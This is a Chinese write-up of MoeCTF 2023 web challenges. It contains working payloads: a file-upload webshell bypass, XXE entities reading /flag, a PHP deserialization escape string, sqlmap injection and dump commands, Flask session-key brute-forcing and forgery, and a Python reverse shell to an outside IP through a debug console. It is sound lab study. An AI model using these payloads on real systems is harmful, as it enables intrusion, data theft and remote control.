签到题

hello CTFer

给了个url,直接打开就有flag


然后提交就完了

WEB

http

下载一个叫WSRX的客户端连接一下开环境以后给的地址


然后访问localhost:64824

然后就是完成这些任务,1、2有手就行

5就是将ua头的值换成MoeBrowser就行


3是将cookie中的character的值改为admin就行


4是在数据包添加一个字段

1
X-Forwarded-For: 127.0.0.1

然后所有任务完成,flag就出了

web入门指北

题目显示要解码得flag

先把附件下载下来看看,解压完是个pdf文档

文档最后发现了一组神秘数字,要解码的应该就是这个了

一眼十六进制,那就转字符一下,写个脚本

1
2
3
4
5
6
7
8
9
10
11
original_hex_string = "66 6c 61 67 3d 62 57 39 6c 59 33 52 6d 65 33 63 7a 62 45 4e 76 62 57 56 66 56 47 39 66 62 57 39 6c 51 31 52 47 58 31 63 79 59 6c 39 6a 61 47 46 73 62 47 56 75 5a 30 55 68 49 58 30 3d"  

# 将空格移除,并将十六进制字符串转换为字节序列
hex_bytes = bytes.fromhex(original_hex_string.replace(" ", ""))

# 将字节序列转换为普通字符串
original_string = hex_bytes.decode("utf-8")

# 将字符串中的空格替换为 %replaced_string = original_string.replace(" ", "%")

print(replaced_string)

结果是个base64编码的字符,看来没有一步出啊

转换后得flag

彼岸的flag

开环境以后,用wsrx连一下,然后访问得到一个聊条记录

然后看源码找就行,一开始搜flag没搜到,就想着搜下ctf,然后就出货了

下载附件后,解压得到一个文档


开环境之后,直接访问/flag,嗯,确实不可能这么简单,直接就给

那就先注册
先访问/register,然后抓包换成POST类型,然后提交

1
2
3
4
{
"username":"lan1oc",
"password":"admin123"
}

然后再登录(按照下载的附件操作就行了),然后访问/flag

然后注意到响应中的token是个base64编码的字符串,解码后得到(之前没注意到,就重新注册了然后一顿乱操作才注意到)

那就将user改成admin就行了,然后构造的cookie替换访问/flag的请求包中的token就有flag了

gas!gas!gas!

感觉像一个游戏

测试了一下,如果没有时间限制,很容易就能通过要求,但是限制了0.5s,那就写个脚本(实际是找大佬要了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests  
from time import sleep
import bs4

url = "http://localhost:63283/"

session = requests.session()


def req(driver, steering_control, throttle):
data = {
"driver": driver, # 选手
"steering_control": steering_control, # 方向
"throttle": throttle # 油门
}
resp = session.post(url, data=data)
return resp.text


def tq(text):
bs4_text = bs4.BeautifulSoup(text, "html.parser").find("h3").text
print(bs4_text)
return bs4_text


def pd(text):
if "失误" in text:
return False, False
if "向右" in text:
steering_control = -1
elif "直行" in text:
steering_control = 0
elif "向左" in text:
steering_control = 1
if "太小" in text:
throttle = 0
elif "保持" in text:
throttle = 1
elif "太大" in text:
throttle = 2
return steering_control, throttle


def main():
steering_control = 1
throttle = -1
count = 0
for i in range(7):
count+=1
text = req(666666, steering_control, throttle)
if "完美" in text:
print(text)
return 0
a, b = pd(tq(text))
if a is False:
return 0
# print(a,b)
steering_control, throttle = a, b
print(count)
session.close()


if __name__ == '__main__':
main()

脚本跑一下就出来了

moe图床

开环境看到是一个上传的界面

看前端元素发现,只能上传png格式的图片

审了下源码看到有个upload.php,蛮访问下,看到了上传的源码

主要是要绕开png验证就行,可以看到它是以.分割文件名,然后检测第二部分是不是png,那就将马子改成.png.php就能绕过验证了

然后访问返回的路径rce,成功

然后emmm环境断了,没事继续,rce好像没成功(那看来后续连蚁剑找到,而rce没成功是因为连接断了的问题),连蚁剑看看,在根目录找到flag

了解你的座驾

明确说在根目录了,那等等到那一步了应该找起来更容易了(?)

开环境后访问,是这样一个界面

选最后一个,然后看到了这。。。🤔

审了下源码,应该是考xxe,然后也说了flag在根目录
那就构建一个触发代码

1
2
3
4
5
6
7
8
<?xml version='1.0'?>
<!DOCTYPE a [
<!ENTITY % hack SYSTEM "php://filter/convert.base64-encode/resource=file:///flag">
%hack;
]>
<xml>
<name>%hack;</name>
</xml>

然后得到一串base64编码的字符
但是解码结果很怪,所以还得继续找(问会选择哪个🤔)

1
moectf{Which_one_You've_Chosen?SkTaNRo_Z5LzERd8ACHT5QmANJtwm

后来问了朋友,告诉我要嵌套一下,不能直接引入读文件的外部实体,所以payload改为

1
2
3
4
5
6
7
8
<?xml version='1.0'?>
<!DOCTYPE a [
<!ENTITY % hack SYSTEM "data:text/plain;base64,PCFFTlRJVFkgJSBmaWxlIFNZU1RFTSAiZmlsZTovLy9mbGFnIj48IUVOVElUWSAlIHRlc3QgU1lTVEVNICVmaWxlOz4=">
%hack;
]>
<xml>
<name>%hack;</name>
</xml>

大海捞针

题目给了环境地址,打开后是要爆破

那爆破以后发现有个长度很突出的,达到2035,然后在响应里搜索了一下就找到了

meo图床

开环境后,跟moe图床那题一样也是一个标准上传页面,看看源码

比moe那道题的少了很多,先做些测试,发现了限制

这次用.png.php绕过不了了🤔

加个图片头就能绕过了

那传个php文件,也是上传成功

但访问后显示,好像还是没有解析成php文件

确实,从响应中看到,类型是png图片了

然后想着它这个文件名给我加了个随机数,我就直接访问上传的1.php,然后发现了file_get_contents(),那就试试文件读取,猜flag在根目录

果然,找到了线索,给了flag文件名

嗯然后没找到,直接访问看到了源码

看来是要进行md5碰撞,用数组做,然后出了flag

1
http://localhost:57189/Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]=collision&param2[]=alohomora

夺命十三枪

开环境,然后直接就能看到源码

发现有个Hanxin.exe.php,访问后得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php  

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"
);

public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

public $Chant = '';
public $Spear_Owner = 'Nobody';

function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}

function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}

?>

ok,看来这题应该是考反序列化🤔,在Deadly_Thirteen_SpearsMake_a_Move方法中有str_replace()函数,那就明了了,要字符串逃逸,跟flag有关的是Omg_It_Is_So_Cool_Bring_Me_My_Flag__toString方法,这个不用管,因为在题目源码里有执行了,不需要我们去看这个魔术方法,跑出flag的条件是$this->Spear_Owner == 'MaoLei',那目的就有了:利用逃逸将Spear_Owner的值改为MaoLei
那么先本地测一下,随便输入一个值得到想要的反序列化字符串
测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php  
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

public $Chant = '';
public $Spear_Owner = 'MaoLei';

function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'MaoLei';
}

function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}
$a= new Omg_It_Is_So_Cool_Bring_Me_My_Flag(1);
echo serialize($a)
?>

跑出来的结果是O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";i:1;s:11:"Spear_Owner";s:6:"MaoLei";}
这其中只有

1
s:11:"Spear_Owner";s:6:"MaoLei";}

是我们想要的,这一共有33个字符,但是逃逸的时候,我们需要闭合前面的东西,所以要添加";,那一共就是35个字符,也就是

1
";s:11:"Spear_Owner";s:6:"MaoLei";}

然后就是看到这个

1
2
3
4
5
public static function Make_a_Move($move){  
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }

这里的$move就相当于题目源码里的$Chant,它的值是我们传入get参数值,然后这一段呢,会把$Chant里的$index$movement替换,$index => $movement就跟数组$Top_Secret_Long_Spear_Techniques_Manual里的值一样,$index就是数组里的索引,$movement是与索引关联的值,这样变量搞清楚,就是明确目标
要找值比索引多一个字符的那个组合,也就是"di_yi_qiang" => "Lovesickness",多一个是因为是用值替换索引,要逃逸的字符是35个,那就要刚好多出35个字符达到这个效果
那payload也可以构建了,因为di_yi_qiang会被Lovesickness替换,每替换一次就多一个字符,那替换35次就行了,所以

1
?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

signin

题目给了附件,是网站源码,这个先放着,打开网页,是个登录界面,并告诉我们默认账号密码是admin:admin,先登录看看
抓包发现发送的数据是这样的

1
{"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVEQlZiVEV3WVZaWmVXVkVSbFJXTW5kNldWWmtUMU5HU25WalIzQk9UV3hKZVZkVVNYaFZiVVpXVDFoQ1ZHSlhhR2hWYm5CSFpERnNkR0pGZEZCVlZEQTU="}

将它解码以后(base64五次,源码里有展示编码方式)得到

1
{"username":"admin","password":"admin"}

先试着发包看看
回显为

1
2
3
4
5
HTTP/1.0 403 Forbidden
Server: BaseHTTP/0.6 Python/3.11.4
Date: Sat, 30 Sep 2023 05:45:48 GMT

YOU CANNOT LOGIN AS ADMIN!

然后联系到源码中,找到了过滤条件

1
2
3
4
5
6
7
8
9
10
11
12
if params.get("username") == "admin":  
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
print("admin")
return
if params.get("username") == params.get("password"):
self.send_response(403)
self.end_headers()
self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
print("same")
return

username的值不能为adminpassword不能和username相同,这里想到或许可以去引号的方式绕过,即以下格式构造

1
{"username":"admin","password":admin}

然后直接这样编码后提交,就引发了异常
![[../images/moe2023/Pasted image 20230930135505.png]]
然后就是猜出来了,看到一个看不懂的代码

1
eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?

写了一大串,应该是对代码中的十六进制数进行异或运算,然后将结果返回表示整数的字节数组,并删除其中的空字符,然后就不懂了,但是看到了signed=True就想到了1,然后就想着用1去登录
构造,然后base64编码五次

1
{"username":"1","password":1}

提交之后就出结果了

出去旅游的心海

一开始没啥思路,然后就是看源码,也没找到什么,然后想着看看这个站有啥
然后这个文章引起注意(数据库三个字)

并且旁边有个

然后就尝试找这个文件,因为这一般属于博客的插件什么的,结果源码里没显示

蛮看看网络里的东西,看看是否会请求这个文件,然后找到了一个logger.php,访问http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php就看到了源码(/wp-content/plugins说明果然是插件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php  
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
  Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
    echo '数据库连接失败: ' . $mysqli->connect_error;
    exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
    echo '数据插入成功';
} else {
    echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用

源码显示接收三个post参数ipuser_agenttime
那这种一看就是可以用sqlmap的,蛮跑下
先发个包看看

1
ip=1&user_agent=2&time=3

然后回显

那应该是time存在注入了,把这个包文保存下来然后注入了

1
python sqlmap.py -r "1.txt"

或者直接指定字段

1
python sqlmap.py -r "1.txt" -p time

ok注进去了,可以看到是时间盲注

接下来就是爆库爆表然后读数据了

1
python sqlmap.py -r "1.txt" --dbs

1
python sqlmap.py -r "1.txt" -D wordpress --tables

1
python sqlmap.py -r "1.txt" -D wordpress -T secret_of_kokomi --dump

moeworld

ok 是渗透题
题目目标是:

1
2
3
4
5
6
7
8
9
10
11
12
13
本题你将扮演**红队**的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag

题目环境:http://47.115.201.35:8000/

在本次公共环境中渗透测试中,希望你**不要做与获取flag无关的行为,不要删除或篡改flag,不要破坏题目环境,不要泄露题目环境!**

**注册时请不要使用你常用的密码,本环境密码在后台以明文形式存储**

hint.zip 密码请在拿到外网靶机后访问根目录下的**readme**,完成条件后获取

环境出现问题,请第一时间联系出题人**xlccccc**

对题目有疑问,也可随时询问出题人

然后目标网站是这样

登录进去是这样

应该是要伪造session吧,明说了使用强且随机的字符串作为session的密钥。 app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
先抓包看看cookie,解码后是这样

1
{"power":"guest","user":"lan1oc"}.eÐTw.š¼" ³]Ü4ùîVÞ#V̯„Pcw

权限是guest,那肯定是要改成admin,然后就是要爆破secret_key,由os.urandom(2).hex()可知是个四位的随机数,那就简单爆破一下,先生成字典

1
2
3
4
5
import os
with open('dict.txt','w') as f:
for i in range(1,10000):#范围自己调,我是调到1000000才爆破出来
a="This-random-secretKey-you-can't-get" + os.urandom(2).hex()
f.write("\"{}\"\n".format(a))

然后就需要用到一个工具Flask-Unsign

1
flask-unsign --unsign --cookie "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImxhbjFvYyJ9.ZRkGQA.X6JdhdAb2slYD29UzNAd4vYgYTQ" --wordlist dict.txt


得到密钥之后就用flask-session-cookie-manager来伪造session
先测试密钥看看对不对(就是解密以下coockie)

1
python flask_session_cookie_manager3.py decode -s This-random-secretKey-you-can't-get1551 -c eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImxhbjFvYyJ9.ZRkGQA.X6JdhdAb2slYD29UzNAd4vYgYTQ


然后就是伪造session了

1
python flask_session_cookie_manager3.py encode -s 'This-random-secretKey-you-can't-get1551' -t "{'power': 'admin', 'user': 'lan1oc'}"


然后就是替换cookie登录,就会发现多了个留言泄露了console的pin

然后扫目录扫了下,得到console页面的url

然后就是反弹shell了,也可以用一个网站来生成命令反弹shell命令生成器
因为是python的console,所以找python代码类型的

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("100.126.224.104",404));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

然后shell就弹过来了🎉🎊🎉

然后在根目录找到一个flag文件,但是读取后发现只有一半

然后联想到题目要求那到外网靶机shell要看readme
得到

1
2
3
4
5
6
7
8
9
10
11
12
$ cat readme
cat readme
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人$

好家伙,还要内网渗透了😭,那就先看看内网ip

1
hostname -i


先扫了172.20.0.4

结果为

1
2
3
4
5
6
7
8
9
10
11
172.20.0.1:21 open
172.20.0.2:6379 open
172.20.0.3:3306 open
172.20.0.1:3306 open
172.20.0.1:80 open
172.20.0.2:22 open
172.20.0.4:8080 open
172.20.0.1:22 open
172.20.0.1:888 open
172.20.0.1:7777 open
[*] alive ports len is: 10

再扫172.21.0.3

因为readme中说了,忽略*.*.*.1的所有结果,所以这个扫描应该没什么用,主要看172.20.0.4的结果,然后从大到小排列,密码为

1
22-3306-6379-8080

成功解压hint压缩包,然后将它改成txt后缀就能看到其中内容

1
2
3
4
5
6
7
8
9
10
当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

看来flag是三段的,还有两段要找😑,接下来的内网穿透就不会了,开摆😋